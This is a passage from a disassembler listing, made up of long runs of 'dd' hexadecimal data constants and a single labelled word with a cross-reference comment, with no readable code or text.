99831518h dd 0E54AFBECh, 852B44C0h, 57770589h, 5F8EEDh, 84DEA095h dd 7B27CFD4h, 84C516h, 3D71782Bh, 7E1C89A5h, 308FB30Fh dd 0D4C4C186h, 0C4659F17h, 76ABA8F0h, 364000F2h, 880D38C7h dd 0EE006AE1h, 2A411B31h, 3B25C8h, 0EAA9D3BCh, 94086432h dd 2785030Fh, 0E1780E84h, 133CA165h, 0C09F4C38h, 0E841895Fh dd 0F448FA24h, 17E000BCh, 3521C436h, 0C8C100AEh, 3F38337Ch dd 52E87045h, 0D382E507h, 80A07AF9h, 0A89DF709h, 4DD4A8h dd 331A9084h, 18CB030Fh, 0CE009094h, 0CDDC8C8Dh, 0EB4039E7h dd 7A5EDD8Ah, 3F3D00C8h, 1BFC41F9h, 16E42500h, 3A3CC12Dh dd 0D834E32Ch, 30C41DD7h, 17CB048Ah, 4454BC31h, 0CE16F990h dd 0B7002E2Bh, 4B702F76h, 642200D8h, 92F09106h, 0F80061AAh dd 0BE1AFB50h, 62C7DDh, 3C4570D8h, 65662169h, 8C94BCB0h dd 2EC50900h, 0C0584D4Bh, 29AB9AD9h, 649C3F22h, 0ECDD19C1h dd 4DF92FE4h, 5A00D8F6h, 0A9D21BEBh, 320051B5h, 347DA787h dd 75D22D4h, 1AB4FBBAh, 972520CBh, 390483B6h, 0D6EB1465h dd 294B7CB2h, 0F574609Ch, 0C4450516h, 0D36F3440h, 0B028ABDFh dd 4B30967Ch, 0C744431h, 0A9B8160Ah, 8F9C6CF2h, 8384E959h dd 0D8B1C127h, 14D2C854h, 24C7F957h, 4F2E52A0h, 7CE35315h dd 1CB070D8h, 2044A027h, 34A41F44h, 77CEECBh, 0DE7E29EEh dd 0D7E6604Bh, 0E8FBF6F2h, 4006B9Ah, 4489458Eh, 2728F9B0h dd 8385AEBh, 197BB1BCh, 0D880EE5Ah, 0E46F5305h, 0D89B0928h dd 8420DEE0h, 1893D92Fh, 0D67A4700h, 0C4D402EEh, 356B3AF4h dd 98D85BB8h, 4C42DE03h, 0A43AE821h, 0AE7B0054h, 0F95F07C4h dd 0F8F10062h, 0A18B7984h, 0D205A9D8h, 0BC8E247Bh, 61729C80h dd 0FDCF2DE8h, 0F1625882h, 0BC406B20h, 0DD321827h, 551738DBh dd 0E108819Fh, 4080BDCEh, 90CB01A8h, 530C92C1h, 0F1C2AACDh dd 0F3E0EA1h, 0C0A40EB0h, 6C049196h, 65A30A9h, 45F9B415h dd 3FB902B8h, 78A0A7A6h, 1243754Ch, 40D56A6Bh, 1F88B800h dd 410306BDh, 0A4BB653Dh, 344BF8D1h, 0A22400F0h, 92CBEEF5h dd 5800B435h, 69FFBCA9h, 4E42F65h, 59B1CF08h, 0E2A0C8AFh dd 36D29E00h, 80037A2Ch, 0CEA20302h, 5BB8724Ch, 0D49876A1h dd 641D7119h, 30C0CD89h, 0B24E7D66h, 0E0FC0FC7h, 8C8449D9h dd 3018B1B1h, 5900BC0Bh, 7627EBABh, 26A26Dh, 0B1219D6Ch dd 1B847531h, 1A07EEFCh, 0D238E8DFh, 9CDE1FD0h, 0F7970073h dd 0B6F15B1h, 0DB00A26Ch, 0D00E0F72h, 0C8D32Dh, 98DA38E6h dd 75741A36h, 59396300h, 73238C40h, 8F3C0A67h, 0BC8953h dd 4317D64Ch, 2AC047A8h, 0FFD00C08h, 36810E6Bh, 85A0DD04h dd 0B376CA32h, 0B9289F00h, 3A8F2491h, 665B000Bh, 3B6E6F96h dd 370BB777h, 0A633E2h, 527E4770h, 615616B6h, 35D00398h dd 0DCD01657h, 0AE0F5AA6h, 4A96402Bh, 0CD80EC70h, 339F2619h dd 0E442010Eh, 2EAE1FF2h, 0FF451163h, 8615E4h, 0E28FC98Eh dd 30794F92h, 115B0E00h, 57E481CAh, 285FA46h, 0A82CCF90h dd 0CE1F9B7h, 92F440E0h, 42309317h, 0AF1E11C1h, 0C25F02B3h dd 730AEB3Dh, 0CD8838DCh, 0DF324049h, 3A00C664h, 5CC8F061h dd 0F8F85937h, 9AB100FAh, 6811AC4Bh, 1D001F62h, 420138C1h dd 0F830D92Ch, 323D02C6h, 522DDC17h, 0F10FA280h, 801EA25Ah dd 0D2007310h, 0C6749CECh, 5F130ED3h, 0B6A48BDBh, 71A28096h dd 8C001E6Dh, 0E6F77AD6h, 8AF6A7h, 6B9C44A2h, 208B5123h dd 0AA0F830Fh, 0A1490EFFh, 602F975Fh, 0ADD8006Bh, 7E17E556h dd 8271EF98h, 0D910D000h, 9C92434Fh, 0ADA312CCh, 0EEA890A9h dd 867A385Ch, 0E932D00h, 89CD19D1h, 0B84200D3h, 4ADBE5F4h dd 3A00B412h, 7F0AE4EBh, 3931491Ch, 590058CDh, 0DC29C3AEh dd 303AF651h, 0A03C78F8h, 0D458009h, 8D9BAD78h, 0DD8907EEh dd 0C0357A5Fh, 4F963F9Ah, 1CF123Eh, 68604ED8h, 0C84794D3h dd 80EF3D1h, 0E8C4003Ah, 4CD2C24Fh, 651F2D03h, 0A883A027h dd 423095h dd 71642B69h, 0CF399973h, 4F7A1100h, 2CDB2632h, 0ED1605A3h dd 0C0A8E36Fh, 0ACAB9278h, 46DC6112h, 8D4BEE00h, 3EA6C3ADh dd 1FBB77B8h, 4F984D9Eh, 9A6AB670h, 37C901A0h, 2F426AB5h dd 0BC03C017h, 7B12418h, 0DDEC4E10h, 134A7296h, 8FA223E0h dd 0DC1BDA04h, 7CC0F973h, 5BCCE69Ch, 2B9880C2h, 221635C5h dd 1007987h, 0BF778CE3h, 80910042h, 7DB0EBE8h, 0C60B5DD3h dd 80BA47C0h, 0AA182563h, 0B1F5040Bh, 0C0A5D87Ah, 22C35BF4h dd 0A8801C96h, 19FC80BBh, 66500031h, 3EBEA753h, 9009F154h dd 80724D23h, 9521A2D1h, 9C9318F4h, 5FC248A3h, 54E4850Fh dd 3011208Ch, 1047591h, 0C0965B9Dh, 0D80A18C4h, 60055E54h dd 0D93B8D98h, 0AB2DD7C2h, 726D07DCh, 129A0D20h, 0E1EC008Ch dd 5B6167A6h, 440FCB69h, 0A0B94CBCh, 2EC73D29h, 0B5470095h dd 15E5028Dh, 1A006673h, 69C6E1F7h, 507FC571h, 776DCA9h dd 31C49937h, 9EF95093h, 450067DEh, 23B0484Ah, 0ECEAAAE8h dd 22B8E6h, 1C62BC06h, 188FABE5h, 0A7E1EF0Ah, 0E81EC4F8h dd 0F1EED980h, 7C57BA14h, 5FCCA891h, 0D82C00B1h, 0C5FE1B34h dd 6CF03BDDh, 600F2A3Ch, 7CA7E0D1h, 0CC5F50E2h, 2D7A0A37h dd 5A0A69Ch, 0AD999717h, 870093B8h, 8A015396h, 0BC195D0Dh dd 0D0E95B00h, 794ABB91h, 0DD619D00h, 55560145h, 74D2003Bh dd 0C0AF2D10h, 87F2D644h, 9C534026h, 154A1A00h, 198E04Ch dd 0B2575B7Bh, 80E8043Dh, 26EA5358h, 101527h, 0E7C1EF3Bh dd 44ADB7F9h, 0E43F551Dh, 0B504B941h, 0ABE89414h, 0C57900D2h dd 0BF9B9AA0h, 770046F6h, 0C88BD4C7h, 294A8h, 920E3951h dd 362DB5C1h, 0FC017800h, 66B74834h, 0EA870018h, 4E26B40Eh dd 6EE0E8CFh, 44AE4300h, 0E148A477h, 0C6950015h, 0C120EC62h dd 0A200279Fh, 0C80FD4FCh, 300784h, 66F66355h, 1A753CF9h dd 3CF458h, 7F1DE441h, 0F5B4710h, 8A71E29Eh, 8CC86840h dd 0A85C1F04h, 8CE1E8Eh, 803C3140h, 266C483Bh, 5CB3EEh dd 755C3558h, 2F00C286h, 22879447h, 16E8A373h, 58CE04Bh dd 0A8B9B88Ch, 42342734h, 1BA8406Ch, 837B00D0h, 10C94920h dd 82004DBEh, 0C4B5221Eh, 0F0B481Dh, 0E25F7FA7h, 46F258E0h dd 720942E3h, 80AAB086h, 9695C30Ch, 8CB3B5h, 0CA304AA1h dd 4400A4CBh, 47919E94h, 0B1BB722h, 83981D43h, 61B6E480h dd 0E798F5ADh, 0F9815C1Fh, 910094EEh, 0DFFB4F15h, 7FB0EAh dd 0B963EB04h, 1F4D12A9h, 0FEB71B04h, 0F0E07C6Ch, 7A843C90h dd 47BB0D02h, 0D4D8E832h, 0CCB616FEh, 0CB188h, 0A58F4CD7h dd 0D5169A3Ch, 14007968h, 0B15439BDh, 0EA760564h, 9055A00Ah dd 4EF60E9Ch, 2F16C4E0h, 3800461Fh, 5AFEB463h, 424002E1h dd 0AAE9B5DAh, 0BC89CCF6h, 0C3901055h, 95730032h, 422D9E60h dd 0F00BC62Bh, 8271D9A9h, 0F6B64A44h, 1B650064h, 94EF91CEh dd 19F44300h, 9B6F5AF0h, 0FC10B5EAh, 0C41C181Ch, 0A10BFCECh dd 4E88006Bh, 4941EBh, 8E8F5ED5h, 0F1D6BE6Ah, 90727C28h dd 1BBAF4E1h, 848FF00h, 11C284CCh, 88560087h, 8F5B6F6Ah dd 0C4CF169h, 984303DCh, 0CB18893Eh, 0FF59F0D0h, 233201D3h dd 0B3C9C0B2h, 0B68C4091h, 0A816EE90h, 64400188h, 53EC3262h dd 4745003Fh, 357F3BC0h, 4A0FA211h, 0CC10844Bh, 71D439h dd 86D5EE9Ah, 0B5434E7Ah, 83488C00h, 0F2F8FB94h, 620C0088h dd 0C44BE9C1h, 36710832h, 46EDEC01h, 996356B4h, 285AF2h dd 0B0F541CDh, 866D229h, 0D8F40D50h, 9C90F903h, 0E89E02ABh dd 1DEFAD0h, 68FCAA81h, 74CB7394h, 6B043CC4h, 0AE63602Bh dd 0E4E9648Ch, 0B1D2006Fh, 46B4035Ah, 0F03D3E4h, 0BAB5544Ch dd 0E552D0A2h, 0BBE800F5h, 0DA4BD650h, 9CF85D8Eh, 0BF962F1Dh dd 92AC48EDh, 0ABD26A2h, 1401270h, 0D0BA5308h, 0C7B87188h dd 0DFEDD7B0h, 0C4395200h, 0DA1134CBh, 0C654002Fh, 0D4F2180Eh dd 33B00CB8h, 9C35FF00h, 0DDA55D11h, 0C58401D3h, 0F14E3ADAh dd 57905045h, 0D90091C9h, 4A51E5B8h, 72309F74h, 6C009DCCh dd 732528AAh, 0B42C6F00h, 6C04A6EAh, 2D91FA85h, 0E4001B5Bh dd 0EBC58F74h, 0A6791D01h, 78DD3D33h, 0BCD1E8h, 1FE40B8Ch dd 0F9C96A77h, 18F39702h, 0E8627B06h, 76D3C568h, 98205849h dd 0B7ADD24h, 2400A1E0h, 543DFAB3h, 0CDB1A80Bh, 0C5F460A5h dd 72D8229Dh, 0A4EF0200h, 56BAC9D2h, 7654005Ah, 189CC288h dd 6858E50Bh, 90E324B8h, 2B60440h, 942902B9h, 0D3E8DCC3h dd 1E696A60h, 6F5DAB00h, 0B853E33Eh, 78320182h, 0BB44B372h dd 940C34EEh, 12C61038h, 9C0E3FC0h, 0D8401F23h, 0A4515CF2h dd 65950082h, 9671FCA3h, 720091E8h, 26C303Bh, 9840225Eh dd 85C4000Ch, 6A688EAEh, 4726B6D7h, 0CE424888h, 0B4232017h dd 0E5FE6EF4h, 0C95DC70Eh, 5729F5h, 546083E8h, 0F4BE3Ch dd 96844CD9h, 0AFB02508h, 213C518h, 3D6CCA0h, 9F158137h dd 0B9C047BAh, 0E21CB55Bh, 7CD2C622h, 4520704Bh, 99180060h dd 0C0919EBh, 0A89F2A04h, 688025A6h, 3B5E86D0h, 0A52C1F49h dd 942101C2h, 0DC28DE78h, 0A07312A4h, 13851D05h, 684016E7h dd 0F75611FFh, 2AEF0CA7h, 0DF507415h, 0F24AFC06h, 2682D89h dd 0EB0577FAh, 4405D7Fh, 0D2F87206h, 0E444A300h, 546304E7h dd 6F483094h, 0D2DCA7C1h, 0C009C9Eh, 0E7DABCC6h, 16E89A7Fh dd 14DB6E5Ah, 3003CBCh, 0D787FC53h, 540FAA24h, 0A05FA084h dd 0A544343Eh, 0A7A42790h, 8256B405h, 4478DA92h, 0C7469C1Dh dd 0DEB6007Bh, 0E32B3750h, 0B7CF0024h, 3CF65844h, 0C400D4DBh dd 0A6886629h, 0D68C9Ah, 35A8BCCFh, 8B3E9D46h, 39846400h dd 0F1825267h, 0AA6D0003h, 5DFD4E43h, 0EF0FCE5Ch, 27AE4AE0h dd 335F3399h, 3D439100h, 75C14Bh, 25B2EBEAh, 9D7B91F9h dd 0DE138F00h, 0C1786AEEh, 248639C3h, 0AB8033BBh, 0E3F4AC6Dh dd 89004CA9h, 0FA301542h, 1CD3C8B2h, 44D9E6h, 97F74588h dd 24E7913Dh, 0A00F8ECh, 3267EB23h, 481A28h, 872EE715h dd 616217A9h, 162CCE03h, 98DC1E49h, 313AD99h, 3DFD6876h dd 0E9B0B9A7h, 5477FE5Ch, 7CF22501h, 0FA6210A8h, 7E946080h dd 0CA2397B0h, 2D46EE1Fh, 875AEC0Eh, 0EC1A8E96h, 800C118Fh dd 12408F0Fh, 0B867741Bh, 2095633Eh, 0BBE08709h, 533C32DCh dd 0D7CA0007h, 3D14163h, 0BA2100E3h, 0C434BC6Bh, 70BC868Ch dd 6EEE7C03h, 8E700717h, 8DA31DFFh, 6B608051h, 0D22F92CDh dd 2D4302ECh, 0A0D01295h, 0B5158CA1h, 1948BC8Dh, 0A198970Fh dd 0CF0D1B00h, 879CA03Eh, 0D5FAA999h, 0DA8B2Bh, 0AF665E64h dd 20EE69h, 0CA5CC295h, 0FEA2531Ch, 75AA4D00h, 0ACE0A830h dd 0DCAE003Eh, 0AD41BFFFh, 0DF00FEEFh, 0AA4C86E7h, 3C3D4F9Bh dd 189E3B17h, 8D8B0083h, 0E549B771h, 414EF000h, 5A789ECEh dd 0A1630126h, 0D3F2E7EAh, 0C07031FEh, 410031A4h, 565486CFh dd 58D21076h, 8B004BC0h, 579B71ACh, 0F00F944Bh, 605BCC78h dd 0F72230A2h, 1F7BF6DFh, 40E71FF2h, 205A93F3h, 230067B9h dd 0EE4EE48Fh, 6D4396h, 6BB641B5h, 0E7BF7AB4h, 0B0C1E907h dd 58908BE1h, 1710D766h, 400C9CB9h, 0E640C3A0h, 1600392Ch dd 3484D988h, 0CD73715h, 2A78BB48h, 0E57A9729h, 0C28D3207h dd 817B7482h, 420DEBB0h, 77191824h, 468D03FFh, 1E1BD240h dd 6F1C90A7h, 15002C48h, 1D66B426h, 3A719787h, 9308AEEh dd 5B7EA808h, 67D6AA0Dh dd 40D230C6h, 7D9F0B0h, 0FA631180h, 0B620801Ah, 0DE48931Dh dd 0E0B3011Dh, 0DFA1B538h, 8BCB1080h, 539AB2A4h, 1997FA01h dd 4E8D63A0h, 4DC79080h, 0D1C52CFEh, 4CF5AC2Ch, 21850D09h dd 0B3546688h, 2690402Ah, 20646042h, 8501BBE6h, 3747D96Dh dd 0A7E8D7C4h, 979C24FDh, 81EC8044h, 0CC5B7B85h, 0A99EA20Eh dd 19DCC055h, 2AB615E2h, 48A03633h, 82806410h, 5FA1FA4Ch dd 72DE3207h, 3390748Eh, 3B7E9302h, 7F6BC16h, 21DFC986h dd 2442509Eh, 0F9600C5Fh, 25301BB1h, 2829002Fh, 0FCE00D10h dd 0BF01154Ch, 127D4D63h, 1080DA14h, 0E832998Dh, 40A42A97h dd 2D541002h, 0A092A8EEh, 0A1D1C3E0h, 52E7005Dh, 9EED9176h dd 0B3000D2Ch, 0B0130397h, 0FEC994D0h, 0A4BA1CBBh, 17D8710Eh dd 0E40D11B6h, 1E6A180h, 0FBEA0C40h, 0D284BC00h, 5B0D37F0h dd 0C1B7E2B8h, 1540B231h, 0E814C989h, 0DC034906h, 9D6F162Eh dd 0FA48002Ah, 0DD58A436h, 0D7000773h, 77BC7172h, 0DFC04Ch dd 7AD39653h, 63E55A1Ah, 3C080E64h, 428405C0h, 40C60020h dd 48B926FBh, 32073B80h, 0C51E4C46h, 7A21F130h, 2D4D3C4Ah dd 3A47570Fh, 0F7D8D0Eh, 1D0056B6h, 5E809FC6h, 0FB003273h dd 53E84455h, 4BB522h, 857E39FAh, 50A0214Ch, 0C62D5B1Eh dd 0C929FC00h, 311DF155h, 0B808A5C5h, 67BB604Bh, 2CEE4624h dd 165F8500h, 5F55AB9h, 0F74A316Ch, 7A64246Dh, 0C283EF04h dd 101866EBh, 0D6195F97h, 0AA6E0060h, 0ACE76CDAh, 660CA057h dd 39F5222Eh, 56903B55h, 407A1Ch, 1151DC0Dh, 0CB00B4BFh dd 16E403F3h, 0A78948h, 4BB12466h, 0E176DA38h, 729B9018h dd 0E6E9BA69h, 3891C018h, 0B8C3AD9h, 0EA444501h, 26E084D0h dd 0EF8C20BBh, 142859E6h, 0C85CB5F0h, 926E8060h, 0CF75325h dd 8F6F8094h, 21C06509h, 0D25AACEh, 8A170048h, 2757CCB1h dd 4D00980Eh, 0A4182F9Ch, 60965DE4h, 0BF7A9955h, 0C10326ADh dd 0D91A8CB7h, 540830A7h, 0ADB69C21h, 444EFA00h, 35F1AB74h dd 81F8CC32h, 0F65421B0h, 5C775694h, 86EDAD00h, 0AC746AB7h dd 0CEBD00B5h, 0DCD61B1Dh, 0C4FA36D3h, 0AF0CF505h, 0CC406FCCh dd 0BA033183h, 751305EBh, 0CD8FAE1h, 282199A0h, 3D03C907h dd 732072BAh, 0A0754017h, 0DFF5D4h, 58DB9AD2h, 3F981244h dd 0C1988E60h, 140E4E1Eh, 0C832F295h, 0E411DEh, 3DE93C1Dh dd 0A1B8AFh, 2F90DED8h, 870D601Fh, 7AF2801Ah, 11581781h dd 0C1FB80FEh, 1D68A0FDh, 0CC6C87B8h, 4A982FE1h, 505A7740h dd 8C53C82Eh, 30ADBD04h, 6D62A7C1h, 0ADB49A20h, 8F3C0065h dd 2452DBE7h, 960276D7h, 0ECD395E3h, 0EFCCA4EAh, 0D865944Eh dd 0A1981B6Fh, 9E5C46E1h, 88CCDF51h, 1F94F084h, 6E3C84Eh dd 48FD64E8h, 566C715h, 6CF50188h, 8863D9A4h, 208395F1h dd 5F661EC3h, 2A00D07Ch, 91604F41h, 0A34A8AEFh, 159FF8CCh dd 0F80C059h, 8E4BE8C6h, 0B71400F9h, 5E196AD9h, 467828A0h dd 25AD02B0h, 31BCF7BEh, 0A5DB1009h, 68EC3E25h, 98E28E8Fh dd 74A41452h, 8C5BECh, 8862F93Bh, 23068A4Ch, 0D01A5530h dd 0A8E622C9h, 484085A8h, 0E401444Dh, 2C64567Bh, 9EF0D17Ah dd 4D864221h, 20908A67h, 0CB1F847Bh, 98728CB1h, 8ABC316Ah dd 4CAFC1E4h, 99406644h, 0CB97ADBBh, 76876814h, 0B75867B4h dd 52BA0048h, 0C2E34AFBh, 60E8120Ch, 2AB918E1h, 0CF81F2Ah dd 0E4D50143h, 150F53A1h, 89106406h, 0D44207Bh, 0A8F81C6h dd 0FEEAD557h, 0E14500DCh, 2711C459h, 0FB82F02h, 4CA90CF2h dd 903FA84h, 76C3EBBCh, 3A00DC16h, 902B033Fh, 0FC18CB84h dd 0C70DE6Eh, 21E14681h, 0F699EC61h, 4EF4B57Ah, 0A1670926h dd 0DC0F6CF3h, 0CB384320h, 9B716A34h, 0B4E18360h, 3A92E40h dd 0BC4215BDh, 79009CCCh, 69B8F849h, 5901Fh, 0A69F83A8h dd 35FE8861h, 29257702h, 4040D0DEh, 998FE7C8h, 180AD1B4h dd 6E40CF3Fh, 9340D91Ah, 35009027h, 206DB954h, 965B086h dd 0AD30FB9Fh, 6047C000h, 48C10F32h, 0EEFFF0E2h, 0E9AAD083h dd 61150811h, 0E906897h, 60F2EFE1h, 1DD6D1F5h, 9B840103h dd 0B9C4806Ah, 9CC1A9CCh, 0F1808D1h, 0E818DDECh, 5F191911h dd 6FA0240Dh, 96E1200h, 80047E6Ch, 4D44603Dh, 437374AEh dd 0FD227Ah, 0B54D5DA6h, 0C5F81C26h, 3E6EA18h, 60D90161h dd 168C2981h, 0C986404h, 0B6A8FE01h, 0EBC30140h, 0BCB5219Ch dd 58BE8909h, 0C2308C58h, 429D4902h, 0BA710106h, 19A76BB5h dd 2603204Fh, 38B4AA32h, 66FCC4C2h, 18895845h, 0E9B92E03h dd 1BAC3E4Ah, 60922408h, 70740824h, 87C463Eh, 0CBEBBF03h dd 2D4092C4h, 7936033Ch, 0FDAE6B00h, 0BCDF8007h, 0A158F452h dd 45183C9Ch, 739B4D08h, 0C8A7715Ch, 0C5EC4C4Dh, 0E8FC4204h dd 97467DEFh, 6600D147h, 0F39F827Eh, 0E728FE0h, 54CF8803h dd 4EAD960h, 3498A156h, 8E664718h, 0C074C2A9h, 36C5F549h dd 39078A7Fh, 0DDABEF2Ch, 20819824h, 900CC943h, 0F7412504h dd 673281C4h, 25A8D820h, 1FA101F3h, 995BEF1Ch, 0F214224Eh dd 93B833F1h, 6848859Eh, 61973D04h, 3B0231E9h, 0ED6A6E4h dd 1181DFFDh, 78A2F40Eh, 0B0A434F8h, 4D52603Fh, 54732994h dd 53A44038h, 0BC50B04Dh, 48CA5F4h, 0EBB80333h, 20966223h dd 3003CB26h, 0B82E5600h, 69868D1Dh, 4A8B16Dh, 4B58F490h dd 804483B9h, 220AE45Bh, 23920040h, 5157C6A5h, 1FB29600h dd 7F056AF6h, 94200722h, 19FAC3CFh, 6E97E881h, 0CB2FD48Fh dd 2AF85504h, 0F098B75Ah, 45250894h, 66C4A4F7h, 25ACCC40h dd 0A7000210h, 0D5AB1E4Eh, 6197FFC1h, 3660A952h, 0A628C072h dd 79845E00h, 7EA8B08Ch, 919207F1h, 7418DFB5h, 0F8D88DC1h dd 18166B4h, 176C0C50h, 8F504018h, 0E7CC7Ch, 2E0193E5h dd 89A4E2DFh, 499EDEAh, 2C2048DCh, 113E5F40h, 0C686547h dd 0B1429890h, 0E84B0ABAh, 11FC761Bh, 4DBE80CBh, 43F47390h dd 0F92278h, 0A4D5FA0h, 0FF9C4076h, 26BA1F01h, 0DB17D038h dd 30908DECh, 0B169438Ch, 7C60C374h, 85D5D9A9h, 0B366240Bh dd 5FF40F97h, 9AA70E00h, 2501B931h, 0A6BB44AAh, 5833B4B8h dd 51539618h, 7200E779h, 0FC6E1FDBh, 0A63B8Ah, 5B407D95h dd 0BE87B6C6h, 0EA2F4301h, 42ECE772h, 6E838442h, 2C84624h dd 73974D41h, 5C7894FCh, 5F0040B3h, 7CC75D93h, 0CD0404B1h dd 15EADA1Dh, 65C8248Bh, 5E684AC0h, 0FF40FF9h, 0EB820DD8h dd 7040855Ch, 6240D3B1h, 2A9800E5h, 8E4951FFh, 162C67B2h dd 465EAC15h, 536C0308h, 827E9384h, 5788806Dh, 0B081600Dh dd 0E6EC124Ch, 21385680h, 5065975Ch, 51567FB8h, 36F89F60h dd 0C16187h, 0CBEE3DC4h, 0FD0C8837h, 7781A206h, 2C508DB4h dd 408017EAh, 68380557h, 14300881h, 30248CA8h, 2B124403h dd 2900FC8Bh, 236B03C8h, 9A00D102h, 648FBC27h, 240F38B0h dd 71905A92h, 6C3A15F5h, 0FA03F123h, 0D4380F72h, 0B6AAA090h dd 83C6050h, 0BC945F91h, 63024780h, 26457960h, 8D90D1C7h dd 249C545Eh, 94A4C518h, 880CCE2Ch, 0BC75C065h, 0C09AFE7h dd 88939FA6h, 59023490h, 0E15DC710h, 0C0251498h, 0B0385033h dd 61976A00h, 996923B7h, 5144A801h, 90F3093Ch, 0C0BD6B20h dd 6C73B9A0h, 0E425A47Ah, 4BA81859h, 0C13211AAh, 0A4688857h dd 0FCAA0029h, 838B9C94h, 0C0C35Dh, 344566DDh, 0B9F5F282h dd 18847904h, 0C6C70772h dd 30333E14h, 59B693A9h, 91CC7E50h, 0E8A4285Ch, 0A5018CFCh dd 0CD341AF5h, 96D47944h, 0F78F0E80h, 2B222EFh, 380E8C54h dd 6AD51C68h, 0C8A0694Ch, 5E0C1F7h, 3840F259h, 0E1306747h dd 96432877h, 0BC488865h, 8E141A1Ch, 0D7507941h, 0BDF83C3Dh dd 78CF0068h, 2EC7181Bh, 9D60CCBAh, 0B288DA69h, 7F4000ACh dd 0D4D1CD4Ah, 0AD006797h, 1A0D31A4h, 94BB927h, 8AACD014h dd 10F450C1h, 0F5349E7h, 894BE647h, 40DC88A7h, 95117193h dd 0AE806702h, 6CB65A16h, 259B0424h, 62ACF744h, 93CD2067h dd 9A3E1825h, 0EDD086A3h, 3F718224h, 0A0009160h, 0C3ACF313h dd 7A648C5Fh, 94817E39h, 90010F9Ah, 45C2283h, 768F1789h dd 0E4941304h, 6970CAA0h, 71777300h, 6208D5BAh, 0AADE0BF3h dd 781917E9h, 6C7309D8h, 0E4AAFE0Eh, 0BA606092h, 0C1272FADh dd 8165Fh, 0EAAD519Fh, 8B218C4h, 1C8F4380h, 0CB6CA448h dd 5C90CC5Eh, 1D3B5305h, 738180B0h, 0C5E98851h, 0ADDF3BF3h dd 4E912880h, 0F55B58FBh, 148BA0A0h, 737910B1h, 0E601FB18h dd 86285F3Ah, 813E3E60h, 384B76C4h, 0B533D30h, 0B28E44ACh dd 6CC4EA94h, 4408C49Ch, 0F7CCA440h, 0C281540Ch, 1E0A7177h dd 0C18A8716h, 6994531h, 4EDC27C0h, 8423D42Bh, 24535B00h dd 952E96B0h, 21931886h, 0EB07A175h, 9152778Fh, 17005D47h dd 25F7AEFFh, 0B812DACFh, 60B4444Bh, 2331ADB8h, 52114FC1h dd 0ADB79501h, 0F8370738h, 0BB0CE945h, 214B975Ah, 44D10024h dd 0F060DEB5h, 0EA0413D3h, 66472E4Ah, 9853E4C8h, 0C1948284h dd 820C6E9Ch, 1511248Ch, 0B465EA0h, 0D4C8A43Ah, 0A0F590C0h dd 1900DC9Bh, 43D953EAh, 0B8CFAF54h, 57AB0030h, 0D4CB38B5h dd 13279817h, 6FD40187h, 0D865A19Fh, 30523042h, 402C2597h dd 30298CF7h, 0D9007291h, 7D7125AFh, 4702E161h, 0C5770335h dd 81949094h, 64AA008Eh, 8DD97CE7h, 50DC0FA7h, 29185DF8h dd 0D018CCCh, 26200382h, 58E9DE70h, 3098FCE3h, 648037C8h dd 627B30E4h, 0E8EA6A61h, 65C9649h, 3A46D577h, 91B51D28h dd 0BA54E2F6h, 0CA024A34h, 4C88E335h, 0A55C5194h, 6701A4B5h dd 1DFBD3E7h, 4502C839h, 0F630D0E8h, 6BB8B080h, 3C1F90A3h dd 0DFCC1144h, 4541F3h, 1CB82451h, 0B4B9CF64h, 0BA490CB8h dd 60978AB8h, 69881500h, 4028DDh, 47F59DA5h, 0CEC24B4Ch dd 0D3304D64h, 3C1828E4h, 0FE872264h, 0C19FFD0Fh, 60AEA52Fh dd 48B8EACCh, 2460B820h, 0E4D0C792h, 32660AAh, 4EB5CBDh dd 8522D053h, 33E2300h, 0EFC28B2Fh, 69110C2Eh, 934834B7h dd 325058Ch, 8E33EBBEh, 3D2C12D0h, 13991C00h, 573918Ah dd 6FE3ECD1h, 2E40C4DAh, 84234Ch, 92116CA7h, 9F3A74CCh dd 0F90527Dh, 0E3F91C5Eh, 0E87226D1h, 76373669h, 0E38912Eh dd 0A3800759h, 7B0D935Ch, 0E85F8B2Ah, 11D99000h, 66AD31EEh dd 7A77278Dh, 0F6E57800h, 2400F30Ah, 6D19E80Eh, 7EB71828h dd 0DCE32CD2h, 61561818h, 0FB26CF7Eh, 378BEC53h, 6070B03Eh dd 554FBFh, 0C16CEF14h, 7C60DFF5h, 14A06169h, 699F0055h dd 3A519D2Bh, 5600E74Eh, 0DE6B315Fh, 385925Ch, 13F55233h dd 1BD8A396h, 4F003A09h, 951528CBh, 0E0B9C3CAh, 743B01B8h dd 0FC3D2939h, 3A97E075h, 15C3E48h, 0EAA6347Dh, 96E428D0h dd 13F4ABh, 0B249FFAAh, 0DDBC7836h, 58002579h, 4C155369h dd 0D09D9Bh, 0EA4B6A2Bh, 0E9DA5559h, 8E5E9027h, 3AD92820h dd 0C0974EA7h, 0C480FF11h, 0B9751FACh, 2459A326h, 0EA169090h dd 0ED948814h, 0B986DA20h, 18F079DCh, 91AB13D7h, 0A0ECD598h dd 0F53EA4E4h, 948C2C21h, 84E76D62h, 0A8B61470h, 0D7C436B0h dd 506BD224h db 80h, 11h word_505446 dw 1960h ; DATA XREF: ___:off_435740o dd 1CEC0D92h, 8247448Bh, 7775D7B2h, 9099A420h, 4A37F18h dd 292DAF51h, 0F28CA2C5h, 7A183085h, 0FCE43D01h, 0D3B8AA9Dh dd 590E9432h, 0AB439366h, 0E6C1B96Ch, 61464A0h, 0E053775Ah dd 0F8C8F48Bh, 43E195C0h, 130900A1h, 0B6C787B1h, 0D85FD0EBh dd 72E89000h, 0C7407017h, 81FD3870h, 8E7A04E7h, 0E1394F10h dd 893B98E2h, 60433082h, 68E16D6Bh, 0B80C38F5h, 9098C98h dd 988684BFh, 0FE58A4h, 662B48D0h, 0EA5776CCh, 18DC5513h dd 9C89C8Bh, 3B0824C0h, 7F723036h, 30E90119h, 70AEB858h dd 0A2A7E700h, 9C7F8D80h, 703F48D4h, 2194F011h, 0EF083EEBh dd 8029976h, 0D014D34Bh, 28D94A68h, 0C2883D98h, 0AF19C075h dd 6D0C452Ch, 941E93F4h, 7C1EC918h, 4144AAC0h, 1656A1D1h dd 20B925D4h, 8F574590h, 0D941D01h, 414AA17Fh, 628FEC38h dd 0FFD87E80h, 0EA07EEFAh, 5DD78C2Bh, 6D4A00E9h, 61F1E04h dd 5E8DBE45h, 124E586Eh, 4DF5300Bh, 93D060F8h, 80B92BFEh dd 35A28701h, 4ED49625h, 970300F1h, 7DD54A77h, 6F3C94FEh dd 0B1C0F850h, 3F553835h, 58C50183h, 13E92422h, 0E2807615h dd 0A83743A6h, 53E08E2h, 0EFF5B257h, 45DC408Eh, 0FFBFF330h dd 767C8195h, 5A027437h, 3E9124D3h, 824D5B85h, 0A4472C87h dd 4D50A500h, 0EC8CD2h, 